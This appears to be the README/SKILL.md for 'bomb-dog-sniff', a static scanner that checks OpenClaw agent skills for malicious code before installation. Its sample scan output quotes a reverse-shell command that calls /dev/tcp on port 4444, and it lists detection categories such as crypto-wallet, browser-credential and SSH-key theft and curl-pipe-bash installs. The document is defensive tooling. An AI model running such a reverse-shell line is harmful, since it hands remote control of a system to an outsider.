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name: bomb-dog-sniff version: 1.2.0 description: | Security-first skill management for OpenClaw - like a bomb-sniffing dog for skills. Sniffs out malicious payloads (crypto stealers, keyloggers, reverse shells) before installation. Quarantine → Scan → Install only the safe ones. author: OpenClaw Security Team homepage: https://github.com/openclaw/skills/bomb-dog-sniff

bomb-dog-sniff v1.2.0 🐕

Like a bomb-sniffing dog for OpenClaw skills

Sniff out malicious skills before they explode in your system. Quarantine → Scan → Install only the safe ones.

What's New in v1.2.0

Security Hardening

• Fixed command injection vulnerabilities in download functions
• Added path traversal protection - Sanitizes all path inputs
• Secure quarantine - Randomized directory names with restricted permissions
• Binary file detection - Skips binary files to avoid false positives
• File size limits - Prevents DoS via huge files
• ReDoS protection - Limits regex processing on long lines

Detection Improvements

• Smart false positive reduction - Better context-aware pattern matching
• Entropy analysis - Detects encoded/encrypted payloads
• Test file awareness - Reduces severity for findings in test files
• Confidence scoring - Each finding has confidence level (high/medium/low)
• 13 detection categories - Added supply chain, prototype pollution, and malicious script detection

New Patterns

• Supply chain attack indicators (typosquatting, dynamic requires)
• Prototype pollution vulnerabilities
• Malicious npm/yarn scripts
• Browser credential theft
• SSH key theft
• Systemd persistence mechanisms

Quick Start

# Sniff out threats before installing
openclaw skill bomb-dog-sniff scan ./downloaded-skill

# Safe install from clawhub (auto-downloads, sniffs, installs if clean)
openclaw skill bomb-dog-sniff safe-install cool-skill

# Audit an already-installed skill
openclaw skill bomb-dog-sniff audit bird

# Batch scan multiple skills
openclaw skill bomb-dog-sniff batch skills-to-audit.txt

Commands

scan

Scan a skill directory for malicious patterns.

openclaw skill bomb-dog-sniff scan <path> [options]

Options:
  -j, --json          Output JSON only
  -v, --verbose       Show detailed findings
  -t, --threshold N   Set risk threshold (default: 40)
  -h, --help          Show help

Example:

openclaw skill bomb-dog-sniff scan ./untrusted-skill
openclaw skill bomb-dog-sniff scan -j ./untrusted-skill > report.json

Output:

🔍 Bomb-Dog-Sniff Security Scanner v1.2.0
Target: /home/user/skills/untrusted-skill

🔴 CRITICAL (2)
──────────────────────────────────────────────────
  crypto_harvester: scripts/wallet.js:23
    Crypto wallet private key harvesting detected
    Code: const privateKey = "a1b2c3..."
    Confidence: high

  reverse_shell: scripts/backdoor.sh:5
    Reverse shell or remote code execution detected
    Code: bash -i >& /dev/tcp/192.168.1.100/4444
    Confidence: high

🟠 HIGH (1)
──────────────────────────────────────────────────
  pipe_bash: install.sh:12
    Dangerous curl | bash pattern detected
    Confidence: high

═══════════════════════════════════════════════════
SCAN SUMMARY
═══════════════════════════════════════════════════
☠️ Risk Score: 75/100
   Risk Level: MALICIOUS
   Duration: 125ms
   Files Scanned: 12/15
   Files Skipped: 3 (binary/empty/large)
   Findings: 3

   Severity Breakdown:
     🔴 CRITICAL: 2
     🟠 HIGH: 1

📋 Recommendation:
   MALICIOUS - Do not install. Found 3 critical security issues.

Scan ID: bds-20260208-a1b2c3d4

safe-install

Download from clawhub/GitHub, scan, and install only if safe.

openclaw skill bomb-dog-sniff safe-install <source> [options]

Source:
  - ClawHub skill name: bird
  - GitHub URL: https://github.com/user/skill
  - Local path: ./local-skill

Options:
  --threshold N   Set risk threshold (default: 39)
  --dry-run       Scan only, don't install
  --verbose       Show all findings

Example:

# Install with default threshold (39)
openclaw skill bomb-dog-sniff safe-install bird

# Stricter threshold
openclaw skill bomb-dog-sniff safe-install cool-skill --threshold 20

# Scan only (dry run)
openclaw skill bomb-dog-sniff safe-install unknown-skill --dry-run

# GitHub source
openclaw skill bomb-dog-sniff safe-install https://github.com/user/cool-skill

audit

Audit an already-installed skill.

openclaw skill bomb-dog-sniff audit <skill-name> [options]

Example:

openclaw skill bomb-dog-sniff audit notion

batch

Scan multiple skills from a list file.

openclaw skill bomb-dog-sniff batch <list-file>

Example list file (skills.txt):

# My installed skills to audit
bird
notion
gog
slack
./custom-skill

# Commented lines are ignored
# old-skill

Run:

openclaw skill bomb-dog-sniff batch skills.txt

Detection Categories

bomb-dog-sniff scans for these threat categories:

Risk Scoring

0-19   SAFE        ✅ Install freely
20-39  LOW         ⚠️  Review recommended
40-69  SUSPICIOUS  🚫 Blocked by default
70-100 MALICIOUS   ☠️  Never install

Each finding adds to the score:

• CRITICAL: +25 points (× confidence multiplier)
• HIGH: +15 points (× confidence multiplier)
• MEDIUM: +5 points (× confidence multiplier)

Confidence multipliers:

• High confidence: 1.0×
• Medium confidence: 0.75×
• Low confidence: 0.5×

Score caps at 100.

How It Works

Safe Install Process

1. QUARANTINE
   └── Skill downloaded to /tmp/bds-q-<random>/
   └── Randomized, non-predictable directory name
   └── Restricted permissions (0o700)
   
2. SCAN
   ├── Check all files against detection patterns
   ├── Skip binary files, empty files, files >10MB
   ├── Calculate entropy for encoded payload detection
   ├── Apply confidence multipliers
   └── Generate findings report
   
3. DECISION
   ├── Risk > threshold? → BLOCK & DELETE
   └── Risk ≤ threshold? → PROCEED
   
4. INSTALL (if passed)
   └── Move from quarantine to skills directory
   └── Backup existing installation (max 5 backups)
   
5. CLEANUP
   └── Securely remove quarantine directory

Scanning Details

• Static analysis only - No code execution
• Multi-pattern matching - 60+ detection patterns
• Line-level reporting - Exact file:line for each finding
• False positive reduction - Context-aware pattern matching
• Binary detection - Automatically skips binary files
• Symlink loop protection - Tracks visited inodes
• Depth limiting - Max 20 directory levels
• Test file handling - Reduces severity for test files

Configuration

Environment Variables

# Set custom skills directory
export OPENCLAW_SKILLS_DIR=/path/to/skills

# Set default risk threshold
export BOMB_DOG_THRESHOLD=25

Per-Skill Configuration

Add to your skill's package.json:

{
  "bomb-dog-sniff": {
    "riskThreshold": 25,
    "excludedCategories": ["network_exfil"]
  }
}

CI/CD Integration

Add to your CI pipeline:

# .github/workflows/skill-security.yml
name: Skill Security Scan

on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      - name: Scan skills
        run: |
          for skill in skills/*/; do
            echo "Scanning $skill"
            node skills/bomb-dog-sniff/scan.js "$skill" || exit 1
          done

Exit codes:

• 0 - Safe (score below threshold)
• 1 - Error/invalid arguments
• 2 - Risky (score ≥ threshold)

Programmatic API

const { scanSkill } = require('./scan');
const { safeDownload } = require('./safe-download');

// Scan a skill
const report = scanSkill('./path/to/skill', { verbose: true });
console.log(`Risk score: ${report.riskScore}`);
console.log(`Findings: ${report.findings.length}`);

// Safe download and install
const result = await safeDownload('cool-skill', {
  autoInstall: true,
  riskThreshold: 30,
});

if (!result.success) {
  console.error('Installation blocked:', result.reason);
}

Security Limits

To prevent DoS and ensure scanner security:

False Positives

If legitimate code triggers a warning:

1. Check confidence level - Low confidence findings are more likely to be false positives
2. Review the excerpt - Look at the actual code flagged
3. Test files are noted - Findings in *.test.js or __tests__/ have reduced severity
4. Comments are generally skipped - Unless they contain suspicious keywords

To report false positives, please include:

• The file content that triggered the false positive
• The pattern category that matched
• Expected behavior

Best Practices

1. Always scan before installing unknown skills
2. Use --dry-run first for untrusted sources
3. Set lower threshold (--threshold 20) for critical systems
4. Audit regularly - Rescan installed skills periodically
5. Review CRITICAL findings - Never ignore critical severity warnings
6. Check confidence levels - High confidence = higher priority

Files

• SKILL.md - This documentation
• scan.js - Core scanner engine
• patterns.js - Detection pattern definitions
• safe-download.js - Safe download & install logic
• scripts/sniff.sh - CLI wrapper
• package.json - Package configuration
• QUICKSTART.md - Quick reference guide

Security Notes

⚠️ Limitations:

• Static analysis only (some obfuscation may evade detection)
• Pattern-based (novel attacks may not be detected)
• Not a replacement for manual code review on critical systems
• Cannot detect runtime-only malicious behavior

✅ Recommendations:

• Use bomb-dog-sniff as first line of defense
• Review code manually for high-security environments
• Keep patterns.js updated with new threat signatures
• Report false positives and missed detections
• Combine with other security tools for defense in depth

Changelog

v1.2.0 (Hardened Edition)

• SECURITY: Fixed command injection vulnerabilities in safe-download.js
• SECURITY: Added path traversal protection
• SECURITY: Secure randomized quarantine directories
• FEATURE: Binary file detection and skipping
• FEATURE: File size limits (10MB per file, 50MB download)
• FEATURE: Entropy analysis for encoded payload detection
• FEATURE: Confidence scoring for all findings
• FEATURE: Test file awareness with severity reduction
• FEATURE: 3 new detection categories (supply_chain, prototype_pollution, malicious_script)
• IMPROVEMENT: Better false positive reduction with context-aware matching
• IMPROVEMENT: ReDoS protection via line length limits
• IMPROVEMENT: Symlink loop protection
• IMPROVEMENT: Backup rotation (max 5 backups)

v1.1.0

• Added safe-install command with quarantine workflow
• Added audit command for installed skills
• Added batch command for multiple skill scanning
• Enhanced detection patterns (50+ signatures)
• Added risk threshold configuration

v1.0.0

• Initial release with basic scanning
• 10 detection categories
• JSON output format

License

MIT - See LICENSE file

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Stay safe. Scan everything. Trust verified skills only. 🦞🐕